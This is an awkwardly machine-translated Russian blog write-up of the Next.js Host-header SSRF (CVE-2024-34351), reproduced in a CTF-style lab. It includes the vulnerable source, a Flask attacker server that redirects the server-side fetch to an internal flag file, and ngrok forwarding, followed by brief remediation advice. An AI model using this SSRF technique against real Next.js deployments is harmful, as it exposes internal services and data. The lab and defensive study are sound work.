[Сетевая безопасность] «Повторение уязвимости» (5) Анализ ущерба, причиненного злоупотреблением заголовком хоста из-за уязвимости NextJS SSRF.
[Сетевая безопасность] «Повторение уязвимости» (5) Анализ ущерба, причиненного злоупотреблением заголовком хоста из-за уязвимости NextJS SSRF.

Предисловие

Это сообщение в блоге «от 0 до 1 Узнать Тестирование безопасности》серединаПовторение уязвимостиСерия №1пятьсообщения в блоге,Основное содержание — этопроходить Аудит кода и воспроизведение сценариев NextJS уязвимость безопасности (CVE-2024-34351) для описания злоупотреблений Host Опасности для головы,Предыдущую серию статей можно найти на странице блоггера. Тестирование безопасности Столбец;

Торжественное заявление: технология, обсуждаемая в этом сообщении в блоге, предназначена только для исследований и изучения. Она предназначена для повышения осведомленности читателей об информационной безопасности и улучшения навыков защиты информации. Ее использование в незаконных целях строго запрещено. Любое лицо, группа или организация не может использовать его в незаконных целях, а незаконные преступления будут строго наказываться по закону.

Введение в концепцию хоста

Что такое хост

Когда вы вводите URL-адрес в своем браузере и нажимаете Enter, ваш браузер отправит HTTP-запрос на соответствующий сервер для получения содержимого веб-страницы. В этом HTTP-запросе будет поле «Хост», «Хост». идентифицирует имя хоста или имя домена, к которым осуществляется доступ в HTTP-запросе.

В протоколе HTTP/1.1 это поле является обязательным и сообщает серверу, на какой конкретный хост отправляется запрос.

В приведенном выше трафике значение поля «Хост» — «www.baidu.com», что сообщает серверу, что текущий запрос направлен на получение ресурсов на www.baidu.com.

Роль хоста

Когда пользователь запрашивает веб-сайт через доменное имя, сначала выполняется DNS-запрос для преобразования доменного имени в соответствующий IP-адрес. В традиционном режиме IP-адрес может соответствовать только одному порту сервера, обычно используется порт по умолчанию 80 или 443. Однако мы хотим запустить несколько веб-сайтов на одном сервере. Как этого добиться?

Одним из решений является использование поля «Хост» в заголовке HTTP-запроса, чтобы отличать веб-сайт, который посещает пользователь. Сервер может перенаправить запрос на соответствующий веб-сайт на основе поля «Хост», чтобы на одном сервере можно было управлять несколькими веб-сайтами.

Опасности злоупотребления хостом

В обычных обстоятельствах заголовок Host используется для указания имени домена, к которому обращается пользователь. Однако злоумышленник может изменить заголовок Host, чтобы заставить сервер думать, что пользователь обращается к доверенному доменному имени, тем самым минуя проверку безопасности. .

В частности, злоумышленник может создать вредоносный заголовок Host, установив для него имя доверенного домена на целевом сервере. Когда сервер получает запрос, он определяет сайт, который посетил пользователь, на основе заголовка Host и выполняет соответствующую логику. Злоумышленник может использовать эту уязвимость для выполнения несанкционированных операций, таких как доступ к конфиденциальным данным, выполнение вредоносного кода и т. д.

Злоупотребление хостом может вызвать некоторые из следующих повреждений:

  1. XSS, SSRF, SQL-инъекция и т. д.;
  2. Несанкционированный доступ;
  3. Загрязнение веб-кэша;
  4. Загрязнение сброса пароля;
  5. ...

Далее мы возьмем CVE-2024-34351 в качестве примера для подробного объяснения. Это уязвимость безопасности, исходящая от NextJS. Уязвимость используется путем запуска SSRF через злонамеренно созданный заголовок Host.

NextJS — это одновременно клиентская библиотека и полнофункциональная серверная среда, но эта функция дает хакерам возможность воспользоваться ею. Когда пользователь вызывает интерфейс сервера, и сервер отвечает перенаправлением, он вызывает следующую функцию:

Язык кода:javascript
копировать
async function createRedirectRenderResult(
  req: IncomingMessage,
  res: ServerResponse,
  redirectUrl: string,
  basePath: string,
  staticGenerationStore: StaticGenerationStore
) {
  ...
  if (redirectUrl.startsWith('/')) {
    ...
    const host = req.headers['host']
    ...
    const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
    ...
    try {
      const headResponse = await fetch(fetchUrl, {
        method: 'HEAD',
        headers: forwardedHeaders,
        next: {
          // @ts-ignore
          internal: 1,
        },
      })

      if (
        headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER
      ) {
        const response = await fetch(fetchUrl, {
          method: 'GET',
          headers: forwardedHeaders,
          next: {
            // @ts-ignore
            internal: 1,
          },
        })
        ...
        return new FlightRenderResult(response.body!)
      }
    } catch (err) {
      ...
    }
  }

  return RenderResult.fromStatic('{}')
}

Согласно приведенному выше коду можно обнаружить, что если путь перенаправления начинается с / Первоначально сервер запросит fetchUrl Ресурс возвращается клиенту вместо перенаправления клиента непосредственно на fetchUrl

и fetchUrl Целевой адрес взят точно из заголовка запроса клиента. Host параметр:

Язык кода:javascript
копировать
const host = req.headers['host'] 
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)

Если мы фальсифицируем указание на внутренний хост Host Заголовок, NextJS попытается получить ответ от этого хоста, а не от самого приложения, в результате чего SSRF。

Ниже мы объясним это с помощью воспроизведения сцен, что также может углубить понимание читателей.

Повторение уязвимости хоста

Теперь есть WEB-программа со следующей структурой каталогов:

Язык кода:javascript
копировать
Archive:  log-action.zip
   creating: log-action/
   creating: log-action/backend/
  inflating: log-action/backend/flag.txt  
  inflating: log-action/docker-compose.yml  
   creating: log-action/frontend/
  inflating: log-action/frontend/.gitignore  
  inflating: log-action/frontend/Dockerfile  
  inflating: log-action/frontend/entrypoint.sh  
  inflating: log-action/frontend/next-env.d.ts  
  inflating: log-action/frontend/next.config.mjs  
  inflating: log-action/frontend/package-lock.json  
  inflating: log-action/frontend/package.json  
  inflating: log-action/frontend/postcss.config.mjs  
   creating: log-action/frontend/src/
   creating: log-action/frontend/src/app/
   creating: log-action/frontend/src/app/admin/
  inflating: log-action/frontend/src/app/admin/page.tsx  
  inflating: log-action/frontend/src/app/global.css  
  inflating: log-action/frontend/src/app/layout.tsx  
   creating: log-action/frontend/src/app/login/
  inflating: log-action/frontend/src/app/login/page.tsx  
   creating: log-action/frontend/src/app/logout/
  inflating: log-action/frontend/src/app/logout/page.tsx  
  inflating: log-action/frontend/src/app/page.tsx  
  inflating: log-action/frontend/src/auth.config.ts  
  inflating: log-action/frontend/src/auth.ts  
   creating: log-action/frontend/src/lib/
  inflating: log-action/frontend/src/lib/actions.ts  
  inflating: log-action/frontend/src/middleware.ts  
  inflating: log-action/frontend/tailwind.config.ts  
  inflating: log-action/frontend/tsconfig.json  

Наша цель – получить log-action/backend/flag.txt содержимое внутри. текущий log-action/backend/flag.txt проходить Nginx монтировать на /usr/share/nginx/html/flag.txt,поэтому,Нам просто нужно попасть внутрь Nginx, вы можете получить доступ http://<задняя частьIP>/flag.txt чтобы получить содержимое файла.

Используется здесь Next.js в работе сервера SSRF Уязвимость (CVE-2024-34351). Когда мы вызываем действие сервера, оно будет использовать асинхронную функцию. createRedirectRenderResult() ответить на перенаправление。Tip: Анализировал выше.

и WEB Страница выхода из исходного кода приложения log-action/frontend/src/app/logout/page.tsx Просто соответствует вышеуказанным условиям, использует работу сервера "use server"; и redirect() функция перенаправляет клиента на /login

Когда мы нажимаем кнопку «Выйти» на странице выхода, он отправляет следующий POST-запрос:

Поскольку путь перенаправления заканчивается на / Вначале он сначала получает ответ по пути перенаправления, а затем возвращает ответ клиенту. Он не перенаправляется непосредственно клиенту, поэтому мы можем использовать эту функцию, чтобы позволить серверу использовать ее. Host Голова, чтобы получить любой ресурс из любого источника.

Создайте приложение Flask локально с помощью следующего кода:

Язык кода:javascript
копировать
from flask import Flask, request, Response

app = Flask(__name__)

@app.route('/login')
def exploit():
    if request.method == 'HEAD':
        response = Response()
        response.headers['Content-Type'] = 'text/x-component'
        return response
    elif request.method == 'GET':
        return 'After CORS preflight check'

if __name__ == '__main__':
    app.run(port=80, debug=True)

Tip Маршрутизация в коде /login Никаких проблем, потому что наше следующее действие redirect("/login")。<br/> Это NextJS свойства, он использует Next-Action ID чтобы однозначно идентифицировать действие, которое мы хотим предпринять следующим, поэтому, пока мы передаем соответствующее Next-Action Заголовок инициирует действие, и вам не нужно беспокоиться о конкретной маршрутизации.

проходить ngrok Чтобы выполнить переадресацию портов:

Язык кода:javascript
копировать
Forwarding                    https://1593-{REDACTED}.ngrok-free.app -> http://localhost:80

Отправить повторно /logout запрос, результаты запроса следующие:

Можно обнаружить, что мы успешно получили тело ответа, осталось только изменить его на Flask код, который преобразует серверную часть fetch Просто перенаправьте на нужный нам ресурс. Измените код следующим образом:

Язык кода:javascript
копировать
@app.route('/login')
def exploit():
    if request.method == 'HEAD':
        ...
    elif request.method == 'GET':
        ip = «Верхний IP-адрес»
        return redirect(f'http://{ip}/flag.txt')

Результаты запуска:

Чтобы устранить эту уязвимость, разработчикам следует Host Заголовок строго проверяется и фильтруется, чтобы гарантировать, что принимаются только доверенные доменные имена и недопустимые. Host Направляйтесь к отклонению или соответствующей обработке.

постскриптум

существовать本文середина,Наш анализ NextJS SSRF Уязвимость (CVE-2024-34351), демонстрирующая злоупотребления Host Вред, причиненный головой. эта пара Host 的Введение концепциии Опасности Мы надеемся, что благодаря подробному обсуждению злоупотреблений читатели смогут углубить свое понимание этого вопроса и уделять больше внимания разработке и сопровождению приложений. Host Безопасное использование головок.

Выше это сообщение в блоге от NextJS SSRF Посмотрите на лазейки Host Опасности жестокого обращения с головой Весь контент, надеюсь, этот пост в блоге будет полезен всем! Приветствуем всех, продолжайте концентрироваться на Мой блог, давайте делиться радостью от обучения и роста вместе! ✨

Торжественное заявление: технология, обсуждаемая в этом сообщении в блоге, предназначена только для исследований и изучения. Она предназначена для повышения осведомленности читателей об информационной безопасности и улучшения навыков защиты информации. Ее использование в незаконных целях строго запрещено. Любое лицо, группа или организация не может использовать его в незаконных целях, а незаконные преступления будут строго наказываться по закону.

Я участвую в последнем конкурсе эссе для специального учебного лагеря Tencent Technology Creation 2024.,Приходите и разделите со мной главный приз!

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose